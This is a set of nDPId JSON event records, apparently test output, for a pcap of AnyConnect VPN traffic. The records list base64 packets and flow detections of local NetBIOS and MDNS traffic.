+00627{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":915,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687272,"pkt_ts_usec":377448,"pkt_caplen":206,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":206,"pkt_l4_len":152,"pkt":"MzMAAAD7GIEORo7Iht1gBoi5AJgR\/\/6AAAAAAAAABAg+RTq8FVL\/AgAAAAAAAAAAAAAAAAD7FOkU6QCYm8UAAAAAAAMAAQAAAAEPX2NvbXBhbmlvbi1saW5rBF90Y3AFbG9jYWwAAAwAAQhfaG9tZWtpdMAcAAwAAQxfc2xlZXAtcHJveHkEX3VkcMAhAAwAAcAMAAwAAQAADgQAFBFMUC1SS0VSVVItT1NYICg5KcAMAAApBaAAABGUABIABAAOAJs6gQ5GjsgYgQ5Gjsg="} +00433{"flow_id":66,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":982,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687273,"pkt_ts_usec":580632,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3Uo2DE0IHf7CABFAAA0gDVAAEAGpRUKAACXCgAA4x983nsgu1rugn2LN4ARAVwGwQAAAQEICgaS1x8cDdgQ"} +00433{"flow_id":66,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":983,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687273,"pkt_ts_usec":580713,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl957H3yCfYs3ILta74AQEADo1gAAAQEIChwN51YGktcf"} +00409{"flow_id":63,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1016,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687274,"pkt_ts_usec":111509,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":46,"pkt_l4_len":12,"pkt":"LH6BsEqhNDY7z3UoCABFAAAgHDkAAEARSbEKAADjCgAAAc1zAMAADBGuCAEDEA=="} +00409{"flow_id":63,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1061,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687274,"pkt_ts_usec":614667,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":46,"pkt_l4_len":12,"pkt":"LH6BsEqhNDY7z3UoCABFAAAgdkAAAEAR76kKAADjCgAAAc1zAMAADAmuEAEDEA=="} +00587{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1062,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687274,"pkt_ts_usec":834528,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00433{"flow_id":43,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1067,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687275,"pkt_ts_usec":135465,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl94iH3wAQcGNmjQa94AREAAGZAAAAQEIChwN7VcGksZO"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1797,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1569687277139,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00504{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1797,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687277,"pkt_ts_usec":139200,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABgVbYAAEARDvYKAADjCgAA\/wCJAIkATLhJRX8wEAABAAAAAAABIEVNRkFDTkZDRUxFRkZDRkZGQ0NORVBGREZJQ0FDQUFBAAAgAAHADAAgAAEAAAAAAAZgAAoAAOM="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1797,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1569687277139,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00479{"flow_id":70,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1798,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687277,"pkt_ts_usec":144772,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABOK\/AAAEAROM4KAADjCgAA\/wCJAIkAOvmHRYABEAABAAAAAAAAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAAAgAAE="} +00504{"flow_id":70,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1809,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687277,"pkt_ts_usec":188381,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABgQ9oAAEARINIKAADjCgAA\/wCJAIkATMRRRYEwEAABAAAAAAABIEVNRkFDTkVDREFERUREREFERkREQ05GSERIREdERUFBAAAgAAHADAAgAAEAAAAAAAZgAAoAAOM="} +00478{"flow_id":70,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1813,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687277,"pkt_ts_usec":202381,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABOTbMAAEARFwsKAADjCgAA\/wCJAIkAOvmFRYIBEAABAAAAAAAAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAAAgAAE="} +00587{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1931,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687277,"pkt_ts_usec":906582,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00504{"flow_id":70,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2030,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687278,"pkt_ts_usec":697720,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABg2UoAAEARi2EKAADjCgAA\/wCJAIkATLhJRX8wEAABAAAAAAABIEVNRkFDTkZDRUxFRkZDRkZGQ0NORVBGREZJQ0FDQUFBAAAgAAHADAAgAAEAAAAAAAZgAAoAAOM="} +00478{"flow_id":70,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2031,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687278,"pkt_ts_usec":697914,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABO6AgAAEARfLUKAADjCgAA\/wCJAIkAOvmHRYABEAABAAAAAAAAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAAAgAAE="} +00504{"flow_id":70,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2033,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687278,"pkt_ts_usec":697993,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABghFIAAEAR4FkKAADjCgAA\/wCJAIkATMRRRYEwEAABAAAAAAABIEVNRkFDTkVDREFERUREREFERkREQ05GSERIREdERUFBAAAgAAHADAAgAAEAAAAAAAZgAAoAAOM="} +00478{"flow_id":70,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2035,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687278,"pkt_ts_usec":698192,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABOmWsAAEARy1IKAADjCgAA\/wCJAIkAOvmFRYIBEAABAAAAAAAAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAAAgAAE="} +00410{"flow_id":63,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2240,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687280,"pkt_ts_usec":120968,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":46,"pkt_l4_len":12,"pkt":"LH6BsEqhNDY7z3UoCABFAAAgye8AAEARm\/oKAADjCgAAAc1zAMAADBGuCAEDEA=="} +00504{"flow_id":70,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2241,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687280,"pkt_ts_usec":141395,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABgNbcAAEARLvUKAADjCgAA\/wCJAIkATLhJRX8wEAABAAAAAAABIEVNRkFDTkZDRUxFRkZDRkZGQ0NORVBGREZJQ0FDQUFBAAAgAAHADAAgAAEAAAAAAAZgAAoAAOM="} +00479{"flow_id":70,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2245,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687280,"pkt_ts_usec":157008,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABO00cAAEARkXYKAADjCgAA\/wCJAIkAOvmHRYABEAABAAAAAAAAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAAAgAAE="} +00505{"flow_id":70,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2247,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687280,"pkt_ts_usec":157370,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABg5ykAAEARfYIKAADjCgAA\/wCJAIkATMRRRYEwEAABAAAAAAABIEVNRkFDTkVDREFERUREREFERkREQ05GSERIREdERUFBAAAgAAHADAAgAAEAAAAAAAZgAAoAAOM="} +00505{"flow_id":70,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2251,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687280,"pkt_ts_usec":195597,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABg61kAAEAReVIKAADjCgAA\/wCJAIkATMfLRYMpEAABAAAAAAABIEVNRkFDTkVDREFERUREREFERkREQ05GSERIREdERUFBAAAgAAHADAAgAAEAAAOEAAZgAAoAAOM="} +00479{"flow_id":70,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2256,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687280,"pkt_ts_usec":203487,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABOjQgAAEAR17UKAADjCgAA\/wCJAIkAOvmFRYIBEAABAAAAAAAAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAAAgAAE="} +00409{"flow_id":63,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2298,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687280,"pkt_ts_usec":624310,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":46,"pkt_l4_len":12,"pkt":"LH6BsEqhNDY7z3UoCABFAAAgsKcAAEARtUIKAADjCgAAAc1zAMAADAmuEAEDEA=="} +00587{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2328,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687280,"pkt_ts_usec":978592,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00434{"flow_id":54,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2353,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687281,"pkt_ts_usec":158363,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0UBJAAPMGvOUIJWfECgAA4wG73ieGjW4CDCXQ8YARTdYkXAAAAQEICnincgAcDdF\/"} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2379,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1569687271764,"flow_last_seen":0,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":522,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"10.0.0.227","src_port":51382,"dst_port":57547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00505{"flow_id":70,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2408,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687281,"pkt_ts_usec":686916,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABgUbMAAEAREvkKAADjCgAA\/wCJAIkATMfLRYMpEAABAAAAAAABIEVNRkFDTkVDREFERUREREFERkREQ05GSERIREdERUFBAAAgAAHADAAgAAEAAAOEAAZgAAoAAOM="} +00433{"flow_id":43,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2419,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687281,"pkt_ts_usec":981171,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2DE0IHf7NDY7z3UoCABFAAA0AABAAEAGJUsKAADjCgAAl94iH3wAQcGNmjQa94AREADsmwAAAQEIChwOBx8GksZO"} +00434{"flow_id":54,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2435,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687282,"pkt_ts_usec":157559,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0UoVAAPMGunIIJWfECgAA4wG73ieGjW4CDCXQ8YARTdYgdAAAAQEICnindegcDdF\/"} +00505{"flow_id":70,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2474,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687283,"pkt_ts_usec":186905,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/NDY7z3UoCABFAABgHKoAAEARSAIKAADjCgAA\/wCJAIkATMfLRYMpEAABAAAAAAABIEVNRkFDTkVDREFERUREREFERkREQ05GSERIREdERUFBAAAgAAHADAAgAAEAAAOEAAZgAAoAAOM="} +00586{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2509,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687284,"pkt_ts_usec":50614,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00434{"flow_id":54,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2516,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687284,"pkt_ts_usec":157706,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0WbNAAPMGs0QIJWfECgAA4wG73ieGjW4CDCXQ8YARTdYYpAAAAQEICninfbgcDdF\/"} +00409{"flow_id":63,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2570,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687286,"pkt_ts_usec":129419,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":46,"pkt_l4_len":12,"pkt":"LH6BsEqhNDY7z3UoCABFAAAgwLAAAEARpTkKAADjCgAAAc1zAMAADBGuCAEDEA=="} +00410{"flow_id":63,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2580,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687286,"pkt_ts_usec":632460,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":46,"pkt_l4_len":12,"pkt":"LH6BsEqhNDY7z3UoCABFAAAg9UsAAEARcJ4KAADjCgAAAc1zAMAADAmuEAEDEA=="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2587,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1569687286917,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2587,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687286,"pkt_ts_usec":917856,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7pHczjPFACABFAABEAABAAP8RkBgKAACV4AAA+xTpFOkAMI4UAAAAAAABAAAAAAAAC19nb29nbGV6b25lBF90Y3AFbG9jYWwAAAwAAQ=="} +00555{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2587,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1569687286917,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_googlezone._tcp.local"}} +00508{"flow_id":71,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2588,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687286,"pkt_ts_usec":918076,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"AQBeAAD7pHczjPFACABFAABpAABAAP8Rj\/MKAACV4AAA+xTpFOkAVS3HAAAAAAABAAAAAAAAJDc5ZDg4ZTgzLTcyNWMtYjcxYi1iYWQwLTU4NjJkNWIyMjM4NgtfZ29vZ2xlem9uZQRfdGNwBWxvY2FsAAAhAAE="} +00613{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2588,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":2,"flow_first_seen":1569687286917,"flow_last_seen":1569687286918,"flow_tot_l4_data_len":133,"flow_min_l4_data_len":48,"flow_max_l4_data_len":85,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"79d88e83-725c-b71b-bad0-5862d5b22386._googlezone._tcp.local"}} +00708{"flow_id":71,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2589,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687286,"pkt_ts_usec":918669,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":268,"pkt_l4_len":234,"pkt":"AQBeAAD7pHczjPFACABFAAD+AABAAP8Rj14KAACV4AAA+xTpFOkA6vJcAACEAAAAAAEAAAADC19nb29nbGV6b25lBF90Y3AFbG9jYWwAAAwAAQAAAHgAJyQ3OWQ4OGU4My03MjVjLWI3MWItYmFkMC01ODYyZDViMjIzODbADMAuABCAAQAAEZQAOCNpZD0yMERGOEZENkYzMTU5MUQyMDUwNEE5RkQ5OThDMzlFRRNfX2NvbW1vbl90aW1lX189MXwwwC4AIYABAAAAeAAtANIA8ycRJDc5ZDg4ZTgzLTcyNWMtYjcxYi1iYWQwLTU4NjJkNWIyMjM4NsAdwKsAAYABAAAAeAAECgAAlQ=="} +00578{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2589,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":3,"flow_first_seen":1569687286917,"flow_last_seen":1569687286918,"flow_tot_l4_data_len":367,"flow_min_l4_data_len":48,"flow_max_l4_data_len":234,"flow_avg_l4_data_len":122,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_googlezone._tcp.local"}} +00596{"flow_id":71,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2590,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687286,"pkt_ts_usec":919025,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"AQBeAAD7pHczjPFACABFAACsAABAAP8Rj7AKAACV4AAA+xTpFOkAmGRVAACEAAAAAAEAAAABJDc5ZDg4ZTgzLTcyNWMtYjcxYi1iYWQwLTU4NjJkNWIyMjM4NgtfZ29vZ2xlem9uZQRfdGNwBWxvY2FsAAAhgAEAAAB4AC0A0gDzJxEkNzlkODhlODMtNzI1Yy1iNzFiLWJhZDAtNTg2MmQ1YjIyMzg2wELAWQABgAEAAAB4AAQKAACV"} 